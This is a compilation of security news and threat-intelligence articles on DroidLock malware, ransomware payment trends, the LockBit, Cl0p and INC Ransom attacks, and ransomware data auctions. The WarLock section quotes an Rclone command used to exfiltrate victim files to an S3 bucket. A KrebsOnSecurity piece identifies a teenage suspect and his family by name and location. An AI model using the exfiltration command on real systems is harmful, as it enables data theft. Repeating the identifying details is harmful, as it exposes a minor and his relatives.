A new Android malware locks device screens and demands that users pay a ransom to keep their data from being deleted. Dubbed “DroidLock” by Zimperium researchers, the Android ransomware-like malware can also “wipe devices, change PINs, intercept OTPs, and remotely control the user interface, turning an infected phone into a hostile endpoint.” The malware detected by the researchers targeted Spanish Android users via phishing sites. Based on the examples provided, the French telecommunications company Orange S.A. was one of the companies impersonated in the campaign.

Android Malware DroidLock Uses ‘Ransomware-like Overlay’

The researchers detailed the new Android malware in a blog post this week, noting that the malware “has the ability to lock device screens with a ransomware-like overlay and illegally acquire app lock credentials, leading to a total takeover of the compromised device.” The malware uses fake system update screens to trick victims and can stream and remotely control devices via virtual network computing (VNC). The malware can also exploit device administrator privileges to “lock or erase data, capture the victim's image with the front camera, and silence the device.” The infection chain starts with a dropper that appears to require the user to change settings to allow unknown apps to be installed from the source (image below), which leads to the secondary payload that contains the malware. [caption id="attachment_107722" align="aligncenter" width="300"] The Android malware DroidLock prompts users for installation permissions (Zimperium)[/caption] Once the user grants accessibility permission, “the malware automatically approves additional permissions, such as those for accessing SMS, call logs, contacts, and audio,” the researchers said. The malware requests Device Admin Permission and Accessibility Services Permission at the start of the installation. Those permissions allow the malware to perform malicious actions such as:

• Wiping data from the device, “effectively performing a factory reset.”
• Locking the device.
• Changing the PIN, password or biometric information to prevent user access to the device.

Based on commands received from the threat actor’s command and control (C2) server, “the attacker can compromise the device indefinitely and lock the user out from accessing the device.”

DroidLock Malware Overlays

The DroidLock malware uses Accessibility Services to launch overlays on targeted applications, prompted by an AccessibilityEvent originating from a package on the attacker's target list. The Android malware uses two primary overlay methods:

• A Lock Pattern overlay that displays a pattern-drawing user interface (UI) to capture device unlock patterns.
• A WebView overlay that loads attacker-controlled HTML content stored locally in a database; when an application is opened, the malware queries the database for the specific package name, and if a match is found it launches a full-screen WebView overlay that displays the stored HTML.

The malware also uses a deceptive Android update screen that instructs users not to power off or restart their devices. “This technique is commonly used by attackers to prevent user interaction while malicious activities are carried out in the background,” the researchers said. The malware can also capture all screen activity and transmit it to a remote server by operating as a persistent foreground service and using MediaProjection and VirtualDisplay to capture screen images, which are then converted to a base64-encoded JPEG format and transmitted to the C2 server. “This highly dangerous functionality could facilitate the theft of any sensitive information shown on the device’s display, including credentials, MFA codes, etc.,” the researchers said. Zimperium has shared its findings with Google, so up-to-date Android devices are protected against the malware, and the company has also published DroidLock Indicators of Compromise (IoCs).

U.S. companies made more than $2 billion in ransomware payments between 2022 and 2024, nearly equaling the total ransoms paid in the previous nine years, according to a new report from the U.S. Treasury’s Financial Crimes Enforcement Network (FinCEN). The report, which looked at threat pattern and trend information identified in Bank Secrecy Act (BSA) filings, said that between Jan. 1, 2022 and Dec. 31, 2024, FinCEN received 7,395 BSA reports related to 4,194 ransomware incidents and totaling more than $2.1 billion in ransomware payments. In the previous nine years, from 2013 to 2021, FinCEN received 3,075 BSA reports totaling approximately $2.4 billion in ransomware payments, the report said. FinCEN notes that because its data is based on BSA filings, it is by nature incomplete, and indeed, the 4,194 ransomware incidents recorded by FinCEN between 2022 and 2024 is less than 40% of the nearly 11,000 ransomware attacks recorded in Cyble’s threat intelligence data over the same period.

ALPHV/BlackCat and LockBit Enforcement Actions Lowered Ransomware Payments

Ransomware incidents and payments reported to FinCEN reached an all-time high in 2023 of 1,512 incidents totaling approximately $1.1 billion in payments, an increase of 77 percent in payments from 2022. In 2024, incidents decreased slightly to 1,476 while total payments dropped to approximately $734 million. FinCEN attributed the decline in ransomware payments in 2024 to law enforcement disruption of the ALPHV/BlackCat and LockBit ransomware groups. However, LockBit is in the midst of its most significant comeback since the law enforcement actions disrupted the group, with 21 new victims claimed so far this month. Of the 267 ransomware variants identified during the reporting period, the most common variants were Akira, ALPHV/BlackCat, LockBit, Phobos, and Black Basta. However, Qilin has emerged as the top ransomware group in 2025 by a wide margin, so FinCEN’s 2025 BSA data will almost certainly change. Despite the decline in payments, the value of reported ransomware payments in 2024 was still the third-highest yearly total since the reports began in 2013. The median ransomware payment was $124,097 in 2022, $175,000 in 2023, and $155,257 in 2024. Between January 2022 and December 2024, the most common payment range was below $250,000.

Financial Services, Manufacturing and Healthcare Most Targeted Sectors

Measuring both the number of ransomware incidents and the amount of aggregate payments, the financial services, manufacturing and healthcare industries were the most affected during the report period. Between January 2022 and December 2024, the most commonly targeted industries by number of incidents identified in ransomware-related BSA reports were manufacturing (456 incidents), financial services (432 incidents), healthcare (389 incidents), retail (337 incidents), and legal services (334 incidents). Industries that paid the most in ransoms during the three-year period were financial services (approximately $365.6 million), healthcare (about $305.4 million), manufacturing (approximately $284.6 million), science and technology (about $186.7 million), and retail ($181.3 million). The Onion router (TOR) was the most common communication method used by ransomware groups. About 42 percent of BSA reports indicated the method that ransomware threat actors used to communicate with their targets. Among those reports, 67 percent indicated that ransomware actors used TOR, while 28 percent indicated that ransomware actors used email to communicate with their victims. Bitcoin (BTC) was the most common ransomware-related payment method, accounting for 97 percent of reported payments. Monero (XMR) was cited in two percent of BSA reports involving ransomware. FinCEN also identified several common money laundering typologies used by ransomware groups. Threat actors overwhelmingly collected payments in unhosted convertible virtual currency (CVC) wallets and “continued to exploit CVC exchanges for money laundering purposes after receiving payment,” the report said. Ransomware groups also used “several common preferred malicious cyber facilitators, such as shared initial access vendors,” FinCEN said.

Barts Health NHS Trust has confirmed that the data breach at Barts Health was carried out by the Russian-speaking Cl0p ransomware group, which exploited a vulnerability in Oracle E-Business Suite. The Barts Health data breach involved the theft of files from one of the trust’s invoice databases, exposing information linked to payments for treatment and other services, some dating back several years.  In its official notification, the trust stated, “As a result of a recent incident involving data from our trust, we are informing those potentially affected that there is a risk some personal data is compromised.”  The trust confirmed that the criminal group stole files containing names and addresses of individuals required to pay for treatment or services at a Barts Health hospital. These files were later posted on the dark web. Barts Health emphasized that it is pursuing legal remedies, noting, “We are taking urgent action and seeking a High Court order to ban the publication, use or sharing of this data by anyone.” 

Details of the Barts Health Data Breach and Exposed Information 

The cyberattack on Barts Health occurred after Cl0p exploited a flaw in Oracle E-Business Suite, a widely used system for automating business processes. Oracle has since corrected the vulnerability, which has affected multiple organizations globally.  The trust has reported the Barts Health data breach to NHS England, the National Cyber Security Centre, the Metropolitan Police, and the Information Commissioner’s Office. Despite the intrusion, Barts Health stressed that core healthcare systems remain secure: “Please note our electronic patient record and clinical systems are not affected, and we are confident our core IT infrastructure is secure.”  Paying patients are encouraged to review their treatment invoices to understand which details may have been exposed. Some former employees also appear in the files due to outstanding salary sacrifice amounts or overpayments. Nearly half of the compromised records relate to suppliers whose information is already publicly accessible.  The affected database also contains accounting files that Barts Health has managed since April 2024 for Barking, Havering, and Redbridge University Hospitals NHS Trust. Both trusts are coordinating efforts to limit the impact. 

Timeline of the Breach and Potential Risks to Individuals 

Although the theft occurred in August, Barts Health did not receive any indication that data had been compromised until November, when the files were uploaded to the dark web. None of the information has emerged on the open internet, restricting exposure to individuals with access to encrypted and compressed files on the dark web.  The trust warned that the stolen files cannot grant direct access to personal accounts but may help criminals craft scams to trick victims into sharing sensitive information or making payments. Individuals with concerns are advised to contact the trust’s data protection officer or consult national guidance such as “Stop! Think Fraud – How to stay safe from scams.”  Barts Health apologized for the incident, stating, “We are very sorry that this has happened and are taking steps with our suppliers to ensure that it could not happen again.”  The Cl0p ransomware group is a well-known cybercriminal syndicate recognized for its multilayer extortion operations, including encryption-less ransomware tactics. Responsible for extorting more than $500 million in ransom payments worldwide, Cl0p became prominent in 2019 through extensive phishing campaigns and malware. The group frequently exploits zero-day vulnerabilities, enabling high-impact attacks and ransom demands. 

The Washington Post last month reported it was among a list of data breach victims of the Oracle EBS-related vulnerabilities, with a threat actor compromising the data of more than 9,700 former and current employees and contractors. Now, a former worker is launching a class-action lawsuit against the Post, claiming inadequate security.

The post Ex-Employee Sues Washington Post Over Oracle EBS-Related Data Breach appeared first on Security Boulevard.

The LockBit ransomware group is making a comeback, with a new data leak site and 21 new victims. LockBit was once the most feared ransomware group, and it still vastly outnumbers other ransomware groups with more than 2,700 claimed victims over its six-year-history, but a series of international law enforcement actions that began in February 2024 severely disrupted the group, and it has struggled to mount a sustained comeback since. LockBit 4.0, released in early 2025, failed to gain much traction and was never completely rolled out, and rivals like Qilin have done well attracting ransomware affiliates with favorable terms like profit sharing and enhanced features. But LockBit 5.0, announced on the underground forum RAMP in September, may be helping the group gain some traction, as it has since launched a new dark web data leak site and claimed new victims, Cyble reported in recent notes to clients. Dec. 8 update: LockBit claimed an additional 14 victims over the weekend since this article was published, raising the group's total to 21 for the month, behind only Qilin and Akira.

LockBit 'Fully Reactivated'

Despite a nearly two-year struggle to regain its footing, LockBit remains by far the most active ransomware group over its six-year history, its 2,757 victims more than double that of its nearest rivals, including Qilin, Akira, Play and CL0P (chart below from Cyble). [caption id="attachment_107448" align="aligncenter" width="1200"] LockBit remains the most dominant ransomware group of all time by a significant margin (Cyble)[/caption] Despite its history and name, LockBit’s comeback route has been a steep one, as arrests, leaked source code and operational leaks have repeatedly hampered comeback attempts and given rivals an advantage. But Cyble reported to clients on Dec. 5 that LockBit has “fully reactivated its public ransomware operations.” The new data leak site launched on November 5 and currently lists 21 new victims, plus several that had been previously claimed by the group. The new LockBit 5.0 variant, internally codenamed “ChuongDong,” has been driving the group’s reemergence. The new ransomware variant includes a complete redevelopment of the ransomware panel and lockers, and the new malware is more modular and offers faster encryption and better evasion of security defenses. Obfuscation is a key feature of the new ransomware version, which targets Linux, Windows and VMware ESXi environments.

LockBit Victims, Sectors and Targeted Countries

One notable new victim claimed by LockBit is an Asian airline providing regional passenger transport and charter services. Another new listing is a major Caribbean real estate company. Looking at the 42 victims claimed by LockBit in 2025 through Dec. 5, what stands out are the sectors and countries targeted, which differ from other leading ransomware groups. LockBit has had surprising success targeting financial services organizations. The group has claimed more victims in the Banking, Financial Services and Insurance (BFSI) sector in 2025 than in other industries (chart below). Overall, financial services isn’t among the top 10 sectors attacked by all ransomware groups, as the BFSI sector typically has stronger cybersecurity controls than other sectors. [caption id="attachment_107450" align="aligncenter" width="1200"] LockBit has had significant success targeting financial services companies (Cyble)[/caption] Also interesting is LockBit’s success targeting organizations in South America (chart below), which differs significantly from other ransomware groups, whose attacks are largely focused on the U.S., Canada and Europe. [caption id="attachment_107452" align="aligncenter" width="1200"] LockBit has had more success in South America than other ransomware groups (Cyble)[/caption] It remains to be seen if LockBit can mount a sustained comeback this time, but the group has a uniquely interesting base to build on. Ransomware affiliates are opportunistic, however, and they tend to gravitate toward the ransomware groups that offer the best chance at profitability and success. LockBit's comeback will depend on its ability to convince affiliates that it deserves to be back among the leaders. Article published on Dec. 5 and updated on Dec. 8 to reflect an increase in recent victims claimed by LockBit from seven to 21.

A prolific cybercriminal group that calls itself “Scattered LAPSUS$ Hunters” has dominated headlines this year by regularly stealing data from and publicly mass extorting dozens of major corporations. But the tables seem to have turned somewhat for “Rey,” the moniker chosen by the technical operator and public face of the hacker group: Earlier this week, Rey confirmed his real life identity and agreed to an interview after KrebsOnSecurity tracked him down and contacted his father.

Scattered LAPSUS$ Hunters (SLSH) is thought to be an amalgamation of three hacking groups — Scattered Spider, LAPSUS$ and ShinyHunters. Members of these gangs hail from many of the same chat channels on the Com, a mostly English-language cybercriminal community that operates across an ocean of Telegram and Discord servers.

In May 2025, SLSH members launched a social engineering campaign that used voice phishing to trick targets into connecting a malicious app to their organization’s Salesforce portal. The group later launched a data leak portal that threatened to publish the internal data of three dozen companies that allegedly had Salesforce data stolen, including Toyota, FedEx, Disney/Hulu, and UPS.

Last week, the SLSH Telegram channel featured an offer to recruit and reward “insiders,” employees at large companies who agree to share internal access to their employer’s network for a share of whatever ransom payment is ultimately paid by the victim company.

SLSH has solicited insider access previously, but their latest call for disgruntled employees started making the rounds on social media at the same time news broke that the cybersecurity firm Crowdstrike had fired an employee for allegedly sharing screenshots of internal systems with the hacker group (Crowdstrike said their systems were never compromised and that it has turned the matter over to law enforcement agencies).

Members of SLSH have traditionally used other ransomware gangs’ encryptors in attacks, including malware from ransomware affiliate programs like ALPHV/BlackCat, Qilin, RansomHub, and DragonForce. But last week, SLSH announced on its Telegram channel the release of their own ransomware-as-a-service operation called ShinySp1d3r.

The individual responsible for releasing the ShinySp1d3r ransomware offering is a core SLSH member who goes by the handle “Rey” and who is currently one of just three administrators of the SLSH Telegram channel. Previously, Rey was an administrator of the data leak website for Hellcat, a ransomware group that surfaced in late 2024 and was involved in attacks on companies including Schneider Electric, Telefonica, and Orange Romania.

Also in 2024, Rey would take over as administrator of the most recent incarnation of BreachForums, an English-language cybercrime forum whose domain names have been seized on multiple occasions by the FBI and/or by international authorities. In April 2025, Rey posted on Twitter/X about another FBI seizure of BreachForums.

On October 5, 2025, the FBI announced it had once again seized the domains associated with BreachForums, which it described as a major criminal marketplace used by ShinyHunters and others to traffic in stolen data and facilitate extortion.

“This takedown removes access to a key hub used by these actors to monetize intrusions, recruit collaborators, and target victims across multiple sectors,” the FBI said.

Incredibly, Rey would make a series of critical operational security mistakes last year that provided multiple avenues to ascertain and confirm his real-life identity and location. Read on to learn how it all unraveled for Rey.

WHO IS REY?

According to the cyber intelligence firm Intel 471, Rey was an active user on various BreachForums reincarnations over the past two years, authoring more than 200 posts between February 2024 and July 2025. Intel 471 says Rey previously used the handle “Hikki-Chan” on BreachForums, where their first post shared data allegedly stolen from the U.S. Centers for Disease Control and Prevention (CDC).

In that February 2024 post about the CDC, Hikki-Chan says they could be reached at the Telegram username @wristmug. In May 2024, @wristmug posted in a Telegram group chat called “Pantifan” a copy of an extortion email they said they received that included their email address and password.

The message that @wristmug cut and pasted appears to have been part of an automated email scam that claims it was sent by a hacker who has compromised your computer and used your webcam to record a video of you while you were watching porn. These missives threaten to release the video to all your contacts unless you pay a Bitcoin ransom, and they typically reference a real password the recipient has used previously.

“Noooooo,” the @wristmug account wrote in mock horror after posting a screenshot of the scam message. “I must be done guys.”

In posting their screenshot, @wristmug redacted the username portion of the email address referenced in the body of the scam message. However, they did not redact their previously-used password, and they left the domain portion of their email address (@proton.me) visible in the screenshot.

O5TDEV

Searching on @wristmug’s rather unique 15-character password in the breach tracking service Spycloud finds it is known to have been used by just one email address: cybero5tdev@proton.me. According to Spycloud, those credentials were exposed at least twice in early 2024 when this user’s device was infected with an infostealer trojan that siphoned all of its stored usernames, passwords and authentication cookies (a finding that was initially revealed in March 2025 by the cyber intelligence firm KELA).

Intel 471 shows the email address cybero5tdev@proton.me belonged to a BreachForums member who went by the username o5tdev. Searching on this nickname in Google brings up at least two website defacement archives showing that a user named o5tdev was previously involved in defacing sites with pro-Palestinian messages. The screenshot below, for example, shows that 05tdev was part of a group called Cyb3r Drag0nz Team.

A 2023 report from SentinelOne described Cyb3r Drag0nz Team as a hacktivist group with a history of launching DDoS attacks and cyber defacements as well as engaging in data leak activity.

“Cyb3r Drag0nz Team claims to have leaked data on over a million of Israeli citizens spread across multiple leaks,” SentinelOne reported. “To date, the group has released multiple .RAR archives of purported personal information on citizens across Israel.”

The cyber intelligence firm Flashpoint finds the Telegram user @05tdev was active in 2023 and early 2024, posting in Arabic on anti-Israel channels like “Ghost of Palestine” [full disclosure: Flashpoint is currently an advertiser on this blog].

‘I’M A GINTY’

Flashpoint shows that Rey’s Telegram account (ID7047194296) was particularly active in a cybercrime-focused channel called Jacuzzi, where this user shared several personal details, including that their father was an airline pilot. Rey claimed in 2024 to be 15 years old, and to have family connections to Ireland.

Specifically, Rey mentioned in several Telegram chats that he had Irish heritage, even posting a graphic that shows the prevalence of the surname “Ginty.”

Spycloud indexed hundreds of credentials stolen from cybero5dev@proton.me, and those details indicate that Rey’s computer is a shared Microsoft Windows device located in Amman, Jordan. The credential data stolen from Rey in early 2024 show there are multiple users of the infected PC, but that all shared the same last name of Khader and an address in Amman, Jordan.

The “autofill” data lifted from Rey’s family PC contains an entry for a 46-year-old Zaid Khader that says his mother’s maiden name was Ginty. The infostealer data also shows Zaid Khader frequently accessed internal websites for employees of Royal Jordanian Airlines.

MEET SAIF

The infostealer data makes clear that Rey’s full name is Saif Al-Din Khader. Having no luck contacting Saif directly, KrebsOnSecurity sent an email to his father Zaid. The message invited the father to respond via email, phone or Signal, explaining that his son appeared to be deeply enmeshed in a serious cybercrime conspiracy.

Less than two hours later, I received a Signal message from Saif, who said his dad suspected the email was a scam and had forwarded it to him.

“I saw your email, unfortunately I don’t think my dad would respond to this because they think its some ‘scam email,'” said Saif, who told me he turns 16 years old next month. “So I decided to talk to you directly.”

Saif explained that he’d already heard from European law enforcement officials, and had been trying to extricate himself from SLSH. When asked why then he was involved in releasing SLSH’s new ShinySp1d3r ransomware-as-a-service offering, Saif said he couldn’t just suddenly quit the group.

“Well I cant just dip like that, I’m trying to clean up everything I’m associated with and move on,” he said.

He also shared that ShinySp1d3r is just a rehash of Hellcat ransomware, except modified with AI tools. “I gave the source code of Hellcat ransomware out basically.”

Saif claims he reached out on his own recently to the Telegram account for Operation Endgame, the codename for an ongoing law enforcement operation targeting cybercrime services, vendors and their customers.

“I’m already cooperating with law enforcement,” Saif said. “In fact, I have been talking to them since at least June. I have told them nearly everything. I haven’t really done anything like breaching into a corp or extortion related since September.”

Saif suggested that a story about him right now could endanger any further cooperation he may be able to provide. He also said he wasn’t sure if the U.S. or European authorities had been in contact with the Jordanian government about his involvement with the hacking group.

“A story would bring so much unwanted heat and would make things very difficult if I’m going to cooperate,” Saif said. “I’m unsure whats going to happen they said they’re in contact with multiple countries regarding my request but its been like an entire week and I got no updates from them.”

Saif shared a screenshot that indicated he’d contacted Europol authorities late last month. But he couldn’t name any law enforcement officials he said were responding to his inquiries, and KrebsOnSecurity was unable to verify his claims.

“I don’t really care I just want to move on from all this stuff even if its going to be prison time or whatever they gonna say,” Saif said.

A nationwide cyberattack against the OnSolve CodeRED emergency notifications system has prompted cities and counties across the US to warn residents and advise them to change their passwords.

CodeRED is used by local governments to deliver fast, targeted alerts during severe weather, evacuations, missing persons, and other urgent events. Both the data breach and the service outage have serious implications for communities.

The OnSolve CodeRED system is a cloud-based platform used by city, county, and state agencies to send emergency alerts via voice calls, SMS, email, mobile app notifications, and national alerting systems. Because of the incident, some regions temporarily lost access to the system and had to rely on social media or other methods to reach the public.

To avoid confusion: CodeRED is not the same as the Emergency Alert System (EAS), which is the federal government-managed emergency notifications system. The CodeRED emergency notification system is a voluntary program where residents can sign up to receive notifications and emergency alerts affecting the city they live in.

What’s happened?

Among the many affected municipalities, the City of Cambridge’s Emergency Communications, Police, and Fire Departments issued an alert urging users to change their passwords, especially if they reused the same password elsewhere. Similar advisories have been published by towns and counties in multiple states as the scale of the attack became clear.

The City of University Park, Texas, also warned residents:

“As a precaution, we want to make residents aware of a recent cybersecurity incident involving the City’s third-party emergency alert system, CodeRED. We were notified that a cybercriminal group targeted the system, which caused disruption and may have compromised some user data. This incident did not affect any City systems or services and remains isolated to the CodeRED software.”

The cause is reportedly a ransomware attack claimed by the INC Ransom group. The group posted screenshots that appear to show stolen customer data, including email addresses and associated clear-text passwords.

The INC Ransom group also published part of the alleged ransom negotiation, suggesting that Crisis24 (the provider behind CodeRED) initially offered $100,000, later increasing the offer to $150,000, which INC rejected.

The incident forced Crisis24 to shut down its legacy environment and rebuild the system in a new, isolated infrastructure. Some regions, such as Douglas County, Colorado, have terminated their CodeRED contracts following the outage.

Why this matters

Cyberattacks happen, and data breaches are not always preventable. But storing your subscriber database—including passwords in clear text—seems rather careless. Providers should assume people reuse passwords, especially for accounts they don’t view as very sensitive.

Not that ransomware groups care, of course, but systems like CodeRED genuinely saves lives. When that system goes down or cannot be trusted, communities may miss evacuation orders, severe weather warnings, or active-shooter alerts when minutes matter.

Users are now being told to change their passwords, sometimes across multiple websites. But has everyone been notified? And even if they have, will they actually take action?

Protecting yourself after a data breach

If you think you have been the victim of a data breach, here are steps you can take to protect yourself:

• Check the vendor’s advice. Every breach is different, so check with the vendor to find out what’s happened and follow any specific advice it offers.
• Change your password. You can make a stolen password useless to thieves by changing it. Choose a strong password that you don’t use for anything else. Better yet, let a password manager choose one for you.
• Enable two-factor authentication (2FA). If you can, use a FIDO2-compliant hardware key, laptop, or phone as your second factor. Some forms of 2FA can be phished just as easily as a password, but 2FA that relies on a FIDO2 device can’t be phished.
• Watch out for impersonators. The thieves may contact you posing as the breached platform. Check the official website to see if it’s contacting victims and verify the identity of anyone who contacts you using a different communication channel.
• Take your time. Phishing attacks often impersonate people or brands you know, and use themes that require urgent attention, such as missed deliveries, account suspensions, and security alerts.
• Consider not storing your card details. It’s definitely more convenient to let sites remember your card details, but we highly recommend not storing that information on websites.
• Set up identity monitoring, which alerts you if your personal information is found being traded illegally online and helps you recover after.

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We don’t just report on threats—we help safeguard your entire digital identity

Cybersecurity risks should never spread beyond a headline. Protect your, and your family’s, personal information by using identity protection.

Ransomware has evolved from simple digital extortion into a structured, profit-driven criminal enterprise. Over time, it has led to the development of a complex ecosystem where stolen data is not only leveraged for ransom, but also sold to the highest bidder. This trend first gained traction in 2020 when the Pinchy Spider group, better known as REvil, pioneered the practice of hosting data auctions on the dark web, opening a new chapter in the commercialization of cybercrime.

In 2025, contemporary groups such as WarLock and Rhysida have embraced similar tactics, further normalizing data auctions as part of their extortion strategies. By opening additional profit streams and attracting more participants, these actors are amplifying both the frequency and impact of ransomware operations. The rise of data auctions reflects a maturing underground economy, one that mirrors legitimate market behavior, yet drives the continued expansion and professionalization of global ransomware activity.

Anatomy of victim data auctions 

Most modern ransomware groups employ double extortion tactics, exfiltrating data from a victim’s network before deploying encryption. Afterward, they publicly claim responsibility for the attack and threaten to release the stolen data unless their ransom demand is met. This dual-pressure technique significantly increases the likelihood of payment.

In recent years, data-only extortion campaigns, in which actors forgo encryption altogether, have risen sharply. In fact, such incidents doubled in 2025, highlighting how the threat of data exposure alone has become an effective extortion lever. Most ransomware operations, however, continue to use encryption as part of their attack chain.

Certain ransomware groups have advanced this strategy by introducing data auctions when ransom negotiations with victims fail. In these cases, threat actors invite potential buyers, such as competitors or other interested parties, to bid on the stolen data, often claiming it will be sold exclusively to a single purchaser. In some instances, groups have been observed selling partial datasets, likely adjusted to a buyer’s specific budget or area of interest, while any unsold data is typically published on dark web leak sites.

This process is illustrated in Figure 1, under the assumption that the threat actor adheres to their stated claims. However, in practice, there is no guarantee that the stolen data will remain undisclosed, even if the ransom is paid. This highlights the inherent unreliability of negotiating with cybercriminals.

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This auction model provides an additional revenue stream, enabling ransomware groups to profit from exfiltrated data even when victims refuse to pay. It should be noted, however, that such auctions are often reserved for high-profile incidents. In these cases, the threat actors exploit the publicity surrounding attacks on prominent organizations to draw attention, attract potential buyers, and justify higher starting bids.

This trend is likely driven by the fragmentation of the ransomware ecosystem following the recent disruption of prominent threat actors, including 8Base and BlackSuit. This shift in cybercrime dynamics is compelling smaller, more agile groups to aggressively compete for visibility and profit through auctions and private sales to maintain financial viability. The emergence of the Crimson Collective in October 2025 exemplified this dynamic when the group auctioned stolen datasets to the highest bidder. Although short-lived, this incident served as a proof of concept (PoC) for the growing viability of monetizing data exfiltration independently of traditional ransom schemes.

Threat actor spotlight

WarLock

The WarLock ransomware group has been active since at least June 2025. The group targets organizations across North America, Europe, Asia, and Africa, spanning sectors from technology to critical infrastructure. Since its emergence, WarLock has rapidly gained prominence for its repeated exploitation of vulnerable Microsoft SharePoint servers, leveraging newly disclosed vulnerabilities to gain initial access to targeted systems.

The group adopts double extortion tactics, exfiltrating data from the victim’s systems before deploying its ransomware variant. From a recent incident Rapid7 responded to, we observed the threat actor exfiltrating the data from a victim to an S3 bucket using the tool Rclone. An anonymized version of the command used by the threat actor can be found below:

Rclone.exe copy \\localdirectory :s3 -P --include "*.{pdf,ai,dwg,dxf,dwt,doc,docx,dwg,dwt,dws,shx,pat,lin,ctb,dxf,dwf,step,stl,dst,dxb,,stp,ipt,prt,iges,obj,xlsx,mdf,sql,doc,xls,sql,bak,sqlite,db,sqlite3,sdf,ndf,ldf,csv,mdf,dbf,ibd,myd,ppt,pptx}" -q --ignore-existing --auto-confirm --multi-thread-streams 11 --transfers 11 --max-age 500d --max-size 2000m

WarLock operates a dedicated leak site (DLS) on the dark web, where it lists its victims. From the outset of its operations, the group has auctioned stolen data, publishing only the unsold information online (Figure 2). The group further mentions that the exfiltrated data may be sold to third parties if the victim refuses to pay in their ransom note (Figure 3).

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Although WarLock shares updates on the progress and results of these auctions through its DLS, it also relies heavily on its presence on the RAMP4 cybercrime forum to attract potential buyers (Figure 4). This approach likely allows WarLock to reach a wider buyer base by publishing these posts under the relevant thread “Auction \ 拍卖会”. It should be noted that WarLock is assessed to be of Chinese origin, which is further supported by the Chinese-language reference in this thread title.

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Using the alias “cnkjasdfgd,” the group advertises details about the nature and volume of exfiltrated data, along with sample files (Figure 5). WarLock further directs interested buyers to its Tox account, a peer-to-peer encrypted messaging and video-calling platform, where the auctions appear to take place.

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This approach appears to be highly effective for WarLock. Despite being a recent entrant to the ransomware ecosystem, the group has reportedly sold victim data in approximately 55% of its claimed attacks, accounting for 55 victims to date as of November 2025, demonstrating significant traction within underground markets. The remaining victims’ data has been publicly released on the group’s DLS, following unsuccessful ransom negotiations and a lack of interested buyers.

Rhysida

The Rhysida ransomware group was first identified by cybersecurity researchers in May 2023. The group primarily targets Windows operating systems across both public and private organizations in sectors such as government, defense, education, and manufacturing. Its operations have been observed in several countries, including the United Kingdom, Switzerland, Australia, and Chile. The threat actors portray themselves as a so-called “cybersecurity team” that assists organizations in securing their networks by exposing system vulnerabilities.

Rhysida maintains an active DLS, where it publishes data belonging to victims who refuse to pay the ransom, in alignment with double extortion tactics. Since at least June 2023, the group has also conducted data auctions via a dedicated “Auctions Online” section of its DLS. These auctions typically run for seven days, and Rhysida claims that each dataset is sold exclusively to a single buyer. As of mid-October 2025, the group was hosting five ongoing auctions, with starting prices ranging from 5 to 10 Bitcoin (Figure 6).

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Once the auction period ends, Rhysida publicly releases any unsold data on its DLS (Figure 7). Instead, if the auction is successful, the data is marked as “sold”, without being released on the group’s DLS (Figure 8). In many cases, the group publishes only a subset of the stolen data, often accompanied by the note “not sold data was published” (Figure 9).

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With 224 claimed attacks to date as of November 2025, approximately 67% resulting in full or partial data sales, auctions represent a significant additional revenue stream for Rhysida. The group’s auction model appears to be considerably more effective than WarLock’s (Figure 10), likely due to Rhysida’s established reputation within the cybercrime ecosystem and its involvement in several high-profile attacks.

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Conclusion

The cyber extortion ecosystem is undergoing a profound transformation, shifting from traditional ransom payments to a diversified, market-driven model centered on data auctions and direct sales. This evolution marks a turning point in how ransomware groups generate revenue, transforming what were once isolated extortion incidents into structured commercial transactions.

Groups such as WarLock and Rhysida exemplify this shift, illustrating how ransomware operations increasingly mirror illicit e-commerce ecosystems. By auctioning exfiltrated data, these actors not only create additional revenue streams but also reduce their dependence on ransom compliance, monetizing stolen data even when victims refuse to pay. This approach has proven particularly lucrative for these threat actors, likely setting a precedent for newer extortion groups eager to replicate their success.

As a result, proprietary and sensitive data, including personally identifiable and financial information, is flooding dark web marketplaces at an unprecedented pace. This expanding secondary market intensifies both the operational and reputational risks faced by affected organizations, extending the impact of an attack well beyond its initial compromise.

To adapt to this evolving threat landscape, organizations must move beyond reactive crisis management and embrace a proactive, intelligence-driven defense strategy. Continuous dark web monitoring, early breach detection, and the integration of cyber threat intelligence into response workflows are now essential. In a world where stolen data functions as a tradable commodity, resilience depends not on negotiation but on vigilance, preparedness, and rapid action.

As we close out 2025, one thing is clear: the security landscape is evolving faster than most organizations can keep up. From surging ransomware campaigns and AI-enhanced phishing to data extortion, geopolitical fallout, and gaps in cyber readiness, the challenges facing security teams today are as varied as they are relentless. But with complexity comes clarity and insight.

This year’s most significant breaches, breakthroughs, and behavioral shifts provide a critical lens through which we can view what’s next. That’s exactly what we’ll explore in our upcoming Security Predictions for 2026 webinar, where Rapid7’s experts will break down where we are now, what to expect next, and how organizations can proactively adapt.

Before we look ahead, let’s take stock of what defined 2025 and what it tells us about the state of cybersecurity today.

Ransomware: Same playbook, more precision

Ransomware remains one of the most consistent and costly threats facing organisations today, but the approach has shifted. According to Rapid7’s Q3 2025 Threat Landscape Report, data extortion continues to dominate, with groups increasingly focused on exfiltration and disruption rather than encryption alone. Over 80% of ransomware cases handled in Q3 involved data theft, often staged and timed to maximise leverage.

Threat actors like RansomHub, BlackSuit, NoEscape, and Scattered Spider continue to refine their operations. Many campaigns are multi-stage and collaborative, with Initial Access Brokers providing footholds that are later sold to ransomware operators. One common thread is a focus on identity and infrastructure abuse - attackers are compromising vSphere environments, exploiting misconfigurations in third-party platforms, and abusing legitimate remote access tools to move laterally before launching extortion phases.

These incidents increasingly target complex organizations with sprawling digital footprints. The result? Weeks of operational downtime, lost revenue, regulatory scrutiny, and enduring brand damage. In this landscape, ransomware is no longer just a malware problem - it’s a business continuity issue, a supply chain risk, and a board-level concern.

The offense is automated: AI goes to work

This year, we saw AI break through hype and land firmly in attackers' toolkits. Tools like WormGPT, FraudGPT, and DarkBERT gave cybercriminals an entry point to generate convincing phishing emails, polymorphic malware, and credential-harvesting scripts, all without needing advanced coding skills.

In our AI Offense blog, we detailed how these tools lower the barrier to entry and amplify the volume and sophistication of social engineering campaigns. Pair that with deepfakes, cloned voices, and LLM-powered targeting, and security teams now face threats that are faster, cheaper, and harder to detect than ever before.

The takeaway? AI is not a future threat. It is here. And defenders must embrace its potential just as aggressively as attackers have.

The human factor: Still the weakest link

Despite improved tooling, attacker playbooks still rely heavily on people. Our recent exploration of evolving social engineering trends highlighted the rise of Microsoft Teams-based impersonation, remote access tool abuse such as Quick Assist, and multi-stage credential compromise.

The fallout has been widespread. From attacks on major UK retailers to multiple airline disruptions and critical public sector breaches, social engineering is no longer just email phishing. It is phone calls, voice cloning, fake calendars, and chat-based manipulation.

